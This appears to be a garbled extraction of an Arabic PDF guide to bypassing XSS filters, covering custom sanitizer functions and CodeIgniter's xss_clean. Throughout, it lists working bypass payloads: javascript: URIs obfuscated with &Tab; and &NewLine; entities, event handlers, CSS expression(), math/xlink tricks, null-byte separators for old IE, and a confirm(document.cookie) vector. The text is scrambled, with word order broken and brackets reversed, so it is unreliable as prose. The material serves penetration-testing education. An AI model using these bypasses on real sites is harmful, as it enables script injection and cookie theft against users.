في \\ لتخزن للقيمة نضمن ان يجب النصوص بهذا البيانات تعرض ان اردت اذايمكن المشكلة هذة للحل ولذلك الرابط في كما تخزن انها أو البيانات قاعدة

الدوال احدى أو)( addslashesتطبيقMysqli_real_escape_string )(تحتوي التي البيانات لتجأهل تتمد التي

على التالية : backslashesالنصوص التعليمة في كماINSERT INTOlastnames(lastname) VALUES ('O\\\'Riley')

كالنصوص للتخزين قابلة لتجعلها الدالة o\' Rileyوهذا النظير وعلى ، stripslashes \ \\ المحتوى كل في فردية ، كل للحذف

التجاوز لتقنية سالش الباك بعض إلضافة الحماية تجاوز سنراها XSSهناك كماالله . شاء ان الحقامشتركة حلول

الترتيب بهذا البرمجية الدوال تستخدم التي ملفات على السريع البحث عندالبرمجية المشاريع ادارة موقع Githubفي

Page 20: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

التالية النتائج على نحصل

الثانية : الصيغة

شعبية الصيغة هذة مازالتالثالثة : الصيغة

المشاريع في الشعبية الصيغ من العديد وهناك ، مشتركة الصيغة هذة مازالت) مجرب ) الصيغ هذة للتجاوز ملخص وهنا البرمجية

Page 21: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

المشارة المشتركة الدوال من العديد نتجاوز ان يمكن الحقول أغلب فياستعمال عن الصيغة بتجاوز قام الباحث ان تعني صح فكل ، صح بعالمة

سياق في مفيده تكون قد انها شك وال ، الهجوم تفيد HTMLمعامالت ال لكناالخرى السياقات مع استعمالها عند

ثغرات من لحماية مخصصة XSSحلول

ثغرات من لحماية المطورين قبل من على XSSتستخدم ويستخدمها ، GitHub

كود السورس نستكشف االن

Page 22: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

المصفوفة في المحجوزة الكلمات عن تبحث فهي ، مصفوفتين تحمل انها نجدفأذا تقريبا األحداث كل الثانية المصفوفة في ، الثانية والمصفوفة االولى

قائمة في القيم احدى على المدخالت احدى في تظهر Black-listوجدتتجاوز طرق ولذلك المصفوفتين بضمن مدخل لوجود للمطور تحذيرية رساله

الثانية المصفوفة في موجود غير االحداث احدى فهناك الموجود غير بأستخدامoninputوهو

>input type=text oninput=alert)1(<

الفرغات بعض بإستخدام هي الثانية في TABالطريقة جديد URIوسطرJAVASCRIPT الشكل بهذا

>form action=ja&Tab;vasc&NewLine;ript&colon;alert&lpar;1&rpar;<>button type=submit<

تجاوزنا نالحظ المحجوزة black-listوكما المصفوفة javascriptللكلمة فيللتشفير الطرق من العديد وهناك ايضا javascriptكلمة encodingاالولى ،

االحداث استخدام يمكن الداله سياق onpopstate , onstorageللتجازو فيAttribute ف وايضا ،style context نضمن ان كتعليق expressionنستطيع

الحماية للتجاوز في ))width:ex/**/pression)alert)1بضمنها الشيء ونفسURL Context

ja&Tab;vasc&NewLine;ript&colon;alert&lpar;1&rpar;

مع المصفوفة script Contextوايضا تجاوز يمكن&#x27;;confirm)1(;&#x27;

&#39;;confirm)1(;&#39;

Page 23: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

مكتشف وحصل ياهو موقع في ثغرة حصول على ساعد بالتحديد الكود وهذاعلي $ 1000الثغره

الثانية : الدالة

يستخدمها التي

الداله إلى وبالنظر

تأج > كل حذف على تعمل انها على< scriptنجد تعمل الثاني السطر وفيتأج كل تأج >htmlحذف كل على الثالث السطر من< styleوعلى والتعليقسطور . عدة

بسهولة تجاوزها يمكن كيف نرى ان يمكن االنHtml Context

Page 24: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

في نرى الننا االخرى الجهه في مفتوح بشكل فقط التأج نضع سياق فيتأج >< كل تلتقط الدالة الثاني السطر

<img src=x id=confirm(1) onerror=eval(id)

<iframe/src=javascript:confirm%281%29

محتمل شيء فكل مكرر الكالم نقول ان يمكن ال االخرى سياقات وفيالسابقة الطرق في كما التجاوز

الثالثة : الدالة

على يحتوي كود أي حذف على تعمل الدالة أي Urlهذة لحذف االخر وللفلتره )( الصيغة هذة العموم على ، أقواس تتضمن Style Contextمدخالت

التالية : الصيغ في اسكربت جافا كود على المدخل يحتوي ان يمكن حيث

الرابع و الثالث المعامل في الهجوم لمعامالت تحديثا ، للتجاوزها لذلك Width:expression&#x28;alert&#x28;1&#x29;&#x29;

الرابعة : الدالة

ثغرات من للحماية الحلول من حل هذا المخصصة XSSايضاالمطورين يستخدمها سيمفني موقع على وبناءا

Page 25: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

؟ تعمل كيف

بال يبدا حدث أي إيجاد االول السطر الثاني xmlnsأو Onفي السطر في ، اسكربت بي في أو اسكربت جيف أو اسكربت جافا على تحتوي نصوص أي

التنسيق نصوص للفحص الثالث السطر وفي ، السطر styleوهكذا وفيمثل التاجات من العديد يمنع إلخ ... embed , objectاالخير

من scriptولتجاوز العديد سندرج االول السطر tabفي

>form/ action=ja&Tab;vascr&Tab;ipt&colon;confirm)document.cookie(<

>button/type=submit <

mathايضا وايضا الرابع السطر على القائمة في موجودة xlink:hrefغير

>math>a/xlink:href=javascript&colon;confirm&lpar;1&rpar;<click

للغاية سهل االخرى السياقات لكل والتجاوزالمخصصة األمنية الحلول لتتجاوز اإلمكانات جميع يلخص التالي والجدول

Page 26: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

وتعني تجاوزها ممكن المخصصة البرمجية الحلول غير Naجميع الوظيفة هذةدالة فمثال السياق لهذا للسياق)( sanitizeCssمخصصة فقط Styleتسخدم

سبق فيما تجاوزها تم وقد

FrameWork code Igniters

مشروع أكثر يعتبر ، التطبيقات من العديد في مستخدم شعبي كود هوعلى مشروع GitHubمشاهدة إلي يمكن ما أعلى فيه التفرعات عدد ونسبة ،

PHP . تستخدم الويب للمواقع وبالنسبة وقت كل بحوالي CodeIgniterفيالعمل 264038 لبئية تجاوز حدث فإذا سيكون code Ignitersتطبيق فأنتطبيق 264038مصأب

المنتظم التعبير هذا تضمن الحقيقة في

للتأج المنتظم التعبير نرى ، aكما Img أي بالتقاط البداية في يقوم حيثعالمة < : بين ما اضافة أي يلتقط أو السياق إلغالق عالمة أو ارقام أو احرف

كلمة " إلى المدخل يحول عندها المنتظم التعبير تطابق " .removedوإذا

التالي االوتومتا يأخذ فالتعبير

Page 27: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

تأج بعد عالمة whitespaceسيكون Aأي نظيف ان يمكن لتتجاوز لذلكالمنتظم / \ التعبير تجاوزنا فهنا قائمة sسالش تجاوزنا ايضا ،Blacklist في

المحجوزة بالكلمة التالي : mathالتطبيق النحو في كما<math<>a/xlink:href=javascript&colon;confirm)1(<click>/a>

قائمة mathفالعنصر في موجود غير التجاوز Blacklistقبل

سالش / بإضافة الثاني التجاوز هنا>a/href=ja&Tab;vasc&NewLine;ript&colon;alert&lpar;1&rpar;

طريق \ عن الثالث التجاوز UCوهنا

http://jsfiddle.net/GTxVt/5/

عمل اطار في اخرى ميزة على Codeigniterهناك السيطرة أحرف للحذفالمثال % NULLأو 00سبيل

Page 28: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

هي : بالغالب والمستخدمة مفلتره السيطرة أحرف جميعValid separators In Different Browsers

المتصفحات بإختالف وتختلف

Page 29: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

والخامس الرابع التجاوز هكذا/* IE7 , IE8 And IE9 XSS attack vector

%0b == vertical tab and %00 == Null

Old IE versions treat %0B as valid tag/attribute separators */

>img%0Bsrc="" o%00nerror=confirm)location(;<

>marquee/o%00nstart="javas%00script:alert)location("<xss>/marquee<

السيطرة الحرف أخر Null + Whitespaceتجاوز

،، بالتوفيق

Page 30: h4cksc4n.files.wordpress.com€¦  · Web view · 2016-12-04var valid = username.match(/^[a-zA ... يوجد ثغرة في الكود من نوع script Context ، عندما يدخل

للتواصل: [email protected]

الشهابي أسامةيختص فيما االقتصادي التمكين وحدة لدى والمعلومات النظم ادارة في يعمل

بكالوريس على حاصل اليمني اإلسالمي البنك في االصغر اإلسالمي التمؤيلفي مهتم شبكات كمهندس سيسكو شهادة على وحاصل البرمجيات هندسةالشبكات وإمنية االختراق اختبار مجال في بالخصوص جديد كل معرفة

محفوظة الحقوق جميعh4cksc4n.wordpress.com